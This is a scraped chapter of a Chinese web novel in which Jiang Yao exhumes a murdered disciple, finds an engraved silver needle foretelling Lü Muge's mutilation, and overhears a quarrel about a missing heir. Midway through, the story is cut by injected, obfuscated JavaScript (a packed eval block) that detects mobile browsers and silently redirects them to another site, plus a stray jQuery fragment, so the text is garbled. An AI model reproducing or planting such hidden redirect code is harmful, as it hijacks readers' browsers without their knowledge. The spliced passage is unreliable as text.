姜尧皱起眉,一把拉起了她。
“你知道吕家凶险,若被人发现你不见了,幕后之人一定会严加防范,到时候想走就来不及了。”
可董姝却坚定摇头:“虽然我不知道姑娘的来历,但你把我从这里救出去,就说明我们有同一个目标,我现在什么都没有了,大不了就豁出一条性命,也要做姑娘铲除吕家毒瘤的一把刀!”
她说得铿锵有力,眼中被仇恨浸满,姜尧看了她一会,终是叹了口气。
“随你。”
董姝的眼睛亮了,欣喜若狂地又要跪下磕头,又被姜尧拦住了。
“行了,我们先离开这。”
“好!”
姜尧扶着受伤的董姝回了自己住处。
“你先在这里住下,有需要的东西告诉我,我还要出去一趟。”
姜尧嘱咐道。
“是。”
董姝颇有些乖巧地坐着,像是怕把这里的东西弄脏一般,只搭了一个边。
姜尧看出了她的窘迫,为她找了身干净衣服,又从包袱里拿了些干粮。
做完这些,便头也不回地走了。
姜尧离开后,董姝左看看右看看,确定姜尧走远,才起身一瘸一拐地朝姜尧的包袱走去。
翻了一通,却发现里面没有自己要的东西。
“啧……”她的表情不耐烦起来,与在姜尧面前的小心翼翼判若两人。
但很快,她便调整了表情,若无其事地换上了干净衣裳,又略带嫌弃地将那几块干粮从后窗扔了出去。
来日方长。
她翘着腿躺在姜尧的床上,嘴角带笑,想到。
姜尧对屋子里发生的一切一无所知,她加快脚步跑去吕家后山的荒坟。
那里埋着吕家所有不知名的弟子。
那具死了半月后,还在屋里正常起居,甚至跟门口的小师弟聊天的人,也被埋在这里。
不知道是谁的授意,这件事像是没发生过一般,在吕家没有激起半分涟漪。
甚至连彻查的指示都没有。
只在几处地方草草地贴了仓琦的画像,甚至连通缉的原因都没有写清楚。
姜尧走向那处明显近期被翻过的土壤,掏出了怀中的镜子。
为什么这么着急朝仓琦泼脏水?
为什么将事情压下来?
吕家背后的泥潭里究竟藏着什么?
这捧土前被插了个木牌,上面是充满稚气的字迹。
“师兄张石之墓”
是那个小少年留的。
这个为了颗丹药丢掉性命的人,原来叫张石。
姜尧在心里默哀了一会,便把镜子狠狠插入土里开挖。
上次只匆匆看了几眼,这次她非要好好看看这人到底是怎么死的。
不知那镜子有什么魔力,挖起土来竟毫不费力。
姜尧眼神赞赏看向镜子。
很快,土里便露出了一角草席。
唉。
姜尧叹了口气。
连棺材都没有,张石家里可能都不知道他死了,还在苦苦等儿子学成回家呢。
剥开草席,有些腐烂的尸体便展露在了姜尧面前。
尸体与白天时一样,腹腔被刨开,里面空空如也。
姜尧找来跟木棍,挑起开裂的部分仔细打量许久。
这痕迹……是利器切开的。
而且十分连贯,如果不是常用刀剑的人,根本无法将切口做得如此整齐。
姜尧脑海中闪过昌丘的脸,他当时暴起试图攻击仓琦,用的是手,以手化爪。
并且他不像其他用刀用剑的人——会常年在腰间佩戴兵器,他的腰间空空如也。
难道不是他?
姜尧眉头皱起,一边思考一边给张石简单整理遗容。
可就在扫去尸体发丝间泥土时。
“嘶……”
她突然缩回手,疼得倒抽一口凉气。
不知什么东西穿过手套,将她的手指划了个口子。
鲜血缓缓流出。
姜尧熟练地用怨气愈合了伤口,随后重新将手放在张石发间,更加小心地摸索起来。
很快,姜尧摸到了划伤自己的东西,她指尖用力往外一拔。
随着“啵”的一声,一根小指粗细,手掌长的银针反着寒光,落入了姜尧手中。
这根针几乎全部没入张石的头骨,如果不是尸体有些腐烂,划伤姜尧的针尖也露不出来。
姜尧借着月色,仔细端详着那根诡异的针。
她必须要确定这根针到底是张石生前被人扎进去的,还是死后被扎进去的。
或者,这根针会不会是张石死亡的原因?
银针上遍布的凹槽让姜尧有些疑惑。
她一开始以为是扎入头骨后被坚硬的头骨刮出的划痕。
可她仔细看去,却发现这根银针上那些凹槽,似乎是某种图案。
女子毫无形象地跪在地上,一双眼睛紧紧粘着那根还挂着碎肉的银针,恨不得整个人都钻进去。
旁边还躺着具腐烂得看不出样子的尸体。
突然,姜尧难以置信的惊呼了一声,打破了这份宁静。
她终于看清了银针上刻着什么。
可这一看清却让她的后背起了一片鸡皮疙瘩。
那银针上刻着一个场景……
或者说是一幅画。
画上画着吕沐歌被行刑的场面。
那米粒大小的人脸雕刻得栩栩如生,在不久前还对着姜尧笑。
可在这根针上,吕沐歌被刨开腹腔,里面的内脏暴露在空气中。
姜尧双手有些颤抖,缝尸多年,她自认没什么再能刺激到她的神经,可如果那是吕沐歌,或者是她的任何一个朋友,她发现自己都承受不了。
但是她不得不逼迫自己更仔细地看,生怕自己漏掉重要的信息。
时间一分一秒的过去,姜尧的眼睛酸痛无比,终于,她发现了一个问题。
画面里的吕沐歌,少了一个肝。
为什么没有肝?
难道是刻不下了吗?
姜尧很快否定了自己的猜想。
这里的吕沐歌除了肝,五脏六腑俱全。
如果因为刻不下,大可以将一切简而化之,可刻这根针的人恨不得连发丝这种细节都雕进去。
更别说一个肝脏了。
难道那群里掳走吕沐歌,是为了她的肝?
这根针上的画是某种预告?
不祥的预感再次盘踞在她的心头,她必须尽快找到吕沐歌!
眼下唯一的线索,便寄托在这具尸体上了。
姜尧深吸一口气,继续寻找信息。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16840967|175527||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
顺着银针的线索,她暗道声“得罪”,便将张石的头偏到一边,手起刀落卸开了张石的颅骨。
所幸天气冷,张石的大脑还基本完整,尤其是他被针穿过的部分。
看着那个带着淤血的针孔,姜尧基本断定了张石的死因。
他是被这根银针穿死的。
那这就说明,刨开张石尸体的人和杀害张石的人,未必是同一人。
以此推论,昌丘的嫌疑依旧无法洗清。
确认了死因,姜尧便用一块绑着棉布的细木棍探入了张石的鼻子。
旋转几圈拿出后,白布上粘着的黑色粉末引起了姜尧的注意。
她屏息凝神,将木棍捅得更深后又拿出。
黑色粉末更多了。
突然,她的脑中白光一闪,将视线转移到张石被刨开的腹腔!
链接肺部的气管被斩断,但所剩不多的部分中有几根像头发似的,细长的物质。
那是姜尧上次莫名吐出来的东西。
那黑线意识到张石的死亡,在他内脏中争先恐后地往外爬,可惜还是慢了一步,它们随着张石一起死了。
原来不止代表侍从的秋竹,吕家的一众弟子也都被感染了。
姜尧的身体有些发冷,她再次拿起那根银针,上面的血迹凝固成细长的血痂,遍布在画面里吕沐歌的五脏六腑。
与那恶心的东西像极了。
黑线像一张被编制的巨网,罩住了所有罪恶。
这一夜姜尧的收获颇丰,不止得知了张石死亡的真相,还得到了这根带着不祥预言的银针,也基本确定了吕沐歌就在吕家。
哦对了,还有一个看起来迷雾重重的董姝。
姜尧不死心地又将尸体翻来覆去检查了一圈,发现确实没有信息了,这才叹了口气,将尸体拼凑缝好,重新放进了土里。
“安息。”姜尧将土掩埋后,便离开了原地。
而在姜尧走后,又一道人影站在了张石的墓前,再次挖开坟墓。
摇摇晃晃地背走了张石的尸体。
一阵阴风吹过,淡雅的兰香混着月光,齐齐落在了那块简陋墓碑上的“张石”二字上。
姜尧在外跑了一夜,眼见天蒙蒙亮才闭眼眯了一会。
可惜很快便被吵醒。
是安宴。
“外面有人吵起来了,要不要去看看?”
姜尧郁闷地轻啧一声:“你什么时候这么八卦?”
“是二长老和昌丘。”
姜尧一骨碌爬起来,一边披外衫一边往外跑。
人还没到,嘈杂的骂声便顺着门缝钻进了姜尧的耳朵。
“你到底把小丁弄哪去了?!再不说实话我就把你和你那个废物爹一起赶出吕家!”
二长老标志性的尖锐嗓音吵得姜尧头疼,但里面的信息却让姜尧精神一振。
丁少爷失踪了?
她与这二位关系都不大和睦,因此没有露面,将自己藏在围墙后,屏息听着外面的动静。
“我真不知道,我们昨晚都喝多了,少爷自己回去的,不信你问其他人……”
啪!
一声脆响打断了昌丘的话。
“别以为我不知道你们那些勾当。”二长老咬牙切齿,压低声音威胁道,“不把小丁全须全尾地弄回来,别怪我对你们不客气。”